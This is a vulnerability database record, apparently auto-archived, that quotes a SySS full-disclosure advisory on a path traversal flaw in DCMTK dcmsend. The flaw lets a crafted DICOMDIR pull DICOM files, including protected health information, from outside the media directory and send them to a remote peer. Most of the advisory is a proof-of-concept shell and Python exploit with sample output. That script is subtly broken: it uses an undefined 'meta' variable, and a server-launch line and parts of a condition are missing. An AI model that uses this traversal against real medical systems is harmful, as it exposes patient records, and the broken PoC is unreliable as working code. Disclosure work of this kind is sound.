GCVE-1988-2026-0024
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-047\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Path traversal (CWE-22)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s dcmsend is vulnerable to path traversal when it is instructed to\nread input files from a specially crafted DICOMDIR. This can lead to\nunauthorized disclosure of readable DICOM objects, including protected\nhealth information.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe dcmsend command line option --read-from-dicomdir (+rd) enables\nDcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file\nis not sent itself. Instead, dcmsend reads the DICOMDIR and adds the\nreferenced SOP instances to its transfer list.\n\nThe affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()\nin dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset\nfor ReferencedFileID (0004,1500) elements, converts DICOM backslashes to\nhost path separators with dicomToHostFilename(), and then combines the\nresult with the DICOMDIR directory:\n\n const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),\n pathName.usesWideChars());\n OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,\n OFTrue /* allowEmptyDirName */);\n\ndicomToHostFilename() only replaces \"\\\\\" with the host path separator.\nIt does not reject \"..\" components, absolute paths, or other traversal\npatterns. OFStandard::combineDirAndFilename() also does not canonicalize\nthe result or verify that the final path remains below the DICOMDIR\ndirectory. Therefore, a ReferencedFileID such as \"..\\\\OUTDIR\\\\SECRET\"\nbecomes a host path like \"MEDIA/../OUTDIR/SECRET\".\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose\n ReferencedFileID contains traversal components, for example\n \"..\\\\OUTDIR\\\\SECRET\".\n\n 2. The same record contains ReferencedSOPClassUIDInFile,\n ReferencedSOPInstanceUIDInFile, and\n ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM\n object.\n\n 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the\n crafted DICOMDIR.\n\n 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR\n location without rejecting the traversal.\n\n 5. dcmsend opens and transmits the traversed DICOM file to the\n configured remote storage SCP.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo demonstrate this security isssue, a PoC exploit was developed that\nsends a DICOM file outside the media directory to an attacker when an\nattacker-controlled DICOMDIR is used by dcmsend.\n\nThe crafted DICOMDIR contains a path traversal attack vector in\nReferencedFileID.\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend\n\nset -u\n\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)\"\nMEDIA_DIR=\"${WORKDIR}/MEDIA\"\nOUTSIDE_DIR=\"${WORKDIR}/OUTDIR\"\nRECV_DIR=\"${WORKDIR}/recv\"\nTARGET_DUMP=\"${WORKDIR}/target.dump\"\nDICOMDIR=\"${MEDIA_DIR}/DICOMDIR\"\nTARGET_FILE=\"${OUTSIDE_DIR}/SECRET\"\nDCMSEND_LOG=\"${WORKDIR}/dcmsend.log\"\nSTORESCP_LOG=\"${WORKDIR}/storescp.log\"\n\ncleanup()\n{\n if [ -n \"${STORESCP_PID:-}\" ]; then\n kill \"${STORESCP_PID}\" 2\u003e/dev/null || true\n wait \"${STORESCP_PID}\" 2\u003e/dev/null || true\n fi\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n echo \"[!] Missing required tool: $1\"\n exit 1\n }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmsend\nrequire_tool storescp\nrequire_tool python3\n\nmkdir -p \"${MEDIA_DIR}\" \"${OUTSIDE_DIR}\" \"${RECV_DIR}\"\n\ncat \u003e \"${TARGET_DUMP}\" \u003c\u003c\u0027EOF\u0027\n# Dicom-File-Format\n\n# Dicom-Meta-Information-Header\n# Used TransferSyntax: Little Endian Explicit\n(0002,0001) OB 00\\01\n(0002,0002) UI =SecondaryCaptureImageStorage\n(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0002,0010) UI =LittleEndianExplicit\n(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]\n(0002,0013) SH [H7POC]\n\n# Dicom-Data-Set\n# Used TransferSyntax: Little Endian Explicit\n(0008,0005) CS [ISO_IR 100]\n(0008,0016) UI =SecondaryCaptureImageStorage\n(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0008,0020) DA [20260630]\n(0008,0030) TM [120000]\n(0008,0060) CS [OT]\n(0008,0064) CS [WSD]\n(0010,0010) PN [POC^TRAVERSED]\n(0010,0020) LO [H7DCMSEND]\n(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]\n(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]\n(0020,0010) SH [1]\n(0020,0011) IS [1]\n(0020,0013) IS [1]\n(0028,0002) US 1\n(0028,0004) CS [MONOCHROME2]\n(0028,0010) US 1\n(0028,0011) US 1\n(0028,0100) US 8\n(0028,0101) US 8\n(0028,0102) US 7\n(0028,0103) US 0\n(7fe0,0010) OB 00\\00\nEOF\n\ndump2dcm \"${TARGET_DUMP}\" \"${TARGET_FILE}\" || exit 1\n\npython3 - \"${DICOMDIR}\" \u003c\u003c\u0027PY\u0027\nimport struct\nimport sys\n\nout = sys.argv[1]\n\ndef even(value, pad=b\" \"):\n return value if len(value) % 2 == 0 else value + pad\n\ndef elem(tag, vr, value):\n group, element = tag\n if isinstance(value, str):\n value = value.encode(\"ascii\")\n if vr == \"UI\":\n value = even(value, b\"\\0\")\n\n value = even(value, b\" \")\n data = struct.pack(\"\u003cHH\", group, element) + vr.encode(\"ascii\")\n if vr in (\"OB\", \"OD\", \"OF\", \"OL\", \"OW\", \"SQ\", \"UC\", \"UR\", \"UT\", \"UN\"):\n data += b\"\\0\\0\" + struct.pack(\"\u003cI\", len(value))\n else:\n data += struct.pack(\"\u003cH\", len(value))\n return data + value\n\ndef item(content):\n return struct.pack(\"\u003cHHI\", 0xFFFE, 0xE000, len(content)) + content\n\nsop_class = \"1.2.840.10008.5.1.4.1.1.7\"\nsop_inst = \"1.2.826.0.1.3680043.10.543.777.1\"\ntransfer_syntax = \"1.2.840.10008.1.2.1\"\n\nrecord = b\"\".join([\n elem((0x0004, 0x1400), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1410), \"US\", struct.pack(\"\u003cH\", 0xFFFF)),\n elem((0x0004, 0x1420), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1430), \"CS\", \"IMAGE\"),\n elem((0x0004, 0x1500), \"CS\", r\"..\\OUTDIR\\SECRET\"),\n elem((0x0004, 0x1510), \"UI\", sop_class),\n elem((0x0004, 0x1511), \"UI\", sop_inst),\n elem((0x0004, 0x1512), \"UI\", transfer_syntax),\n])\n\ndataset = b\"\".join([\n elem((0x0004, 0x1130), \"CS\", \"H7POC\"),\n elem((0x0004, 0x1200), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1202), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1212), \"US\", struct.pack(\"\u003cH\", 0)),\n elem((0x0004, 0x1220), \"SQ\", item(record)),\n])\n\nmeta_body = b\"\".join([\n elem((0x0002, 0x0001), \"OB\", b\"\\0\\1\"),\n elem((0x0002, 0x0002), \"UI\", \"1.2.840.10008.1.3.10\"),\n elem((0x0002, 0x0003), \"UI\", \"1.2.826.0.1.3680043.10.543.777.999\"),\n elem((0x0002, 0x0010), \"UI\", transfer_syntax),\n elem((0x0002, 0x0012), \"UI\", \"1.2.826.0.1.3680043.10.543.370\"),\n elem((0x0002, 0x0013), \"SH\", \"H7POC\"),\n])\n\n\nwith open(out, \"wb\") as handle:\n handle.write(b\"\\0\" * 128 + b\"DICM\" + meta + dataset)\nPY\n\nPORT=\"$(python3 - \u003c\u003c\u0027PY\u0027\nimport socket\ns = socket.socket()\ns.bind((\"127.0.0.1\", 0))\nprint(s.getsockname()[1])\ns.close()\nPY\n)\"\n\necho \"[*] DICOMDIR is inside: ${MEDIA_DIR}\"\necho \"[*] Referenced target is outside: ${TARGET_FILE}\"\necho \"[*] DICOMDIR ReferencedFileID:\"\ndcmdump +P 0004,1500 \"${DICOMDIR}\"\n\n\nSTORESCP_PID=$!\nsleep 1\n\nset +e\ndcmsend -v +rd 127.0.0.1 \"${PORT}\" \"${DICOMDIR}\" \u003e\"${DCMSEND_LOG}\" 2\u003e\u00261\nRC=$?\nset -e\nsleep 1\nkill \"${STORESCP_PID}\" 2\u003e/dev/null || true\nwait \"${STORESCP_PID}\" 2\u003e/dev/null || true\nSTORESCP_PID=\"\"\n\ncat \"${DCMSEND_LOG}\"\n\nRECEIVED_FILE=\"$(find \"${RECV_DIR}\" -type f | head -n 1)\"\nif [ \"${RC}\" -eq 0 ] \u0026\u0026\n [ -n \"${RECEIVED_FILE}\" ] \u0026\u0026\n\n dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 \"${RECEIVED_FILE}\"\n exit 0\nfi\n\necho \"[!] FAILED: traversal transmission was not verified\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\nA successful attack is indicated by output similar to the following:\n\n./poc.sh\n[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA\n[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET\n[*] DICOMDIR ReferencedFileID:\n\nI: checking input files ...\nI: starting association #1\nI: initializing network ...\nI: negotiating network association ...\nI: Requesting Association\nI: Association Accepted (Max Send PDV: 16372)\nI: sending SOP instances ...\nI: Sending C-STORE Request (MsgID 1, SC)\nI: Received C-STORE Response (Success)\nI: Releasing Association\nI:\nI: Status Summary\nI: --------------\nI: Number of associations : 1\nI: Number of pres. contexts : 1\nI: Number of SOP instances : 1\nI: - sent to the peer : 1\nI: * with status SUCCESS : 1\n\n(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName\n(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID\n\n\nThis demonstrates that dcmsend reads a file outside the DICOMDIR\ndirectory and transmits it to the configured DICOM peer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-047\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/25"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/25"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0024",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25",
"automated": true,
"contentSha256": "8df56d4e1b9f1913f32da9589f0d40c0947e245e305e38afff962dfca7df1892",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T07:59:40Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0024"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.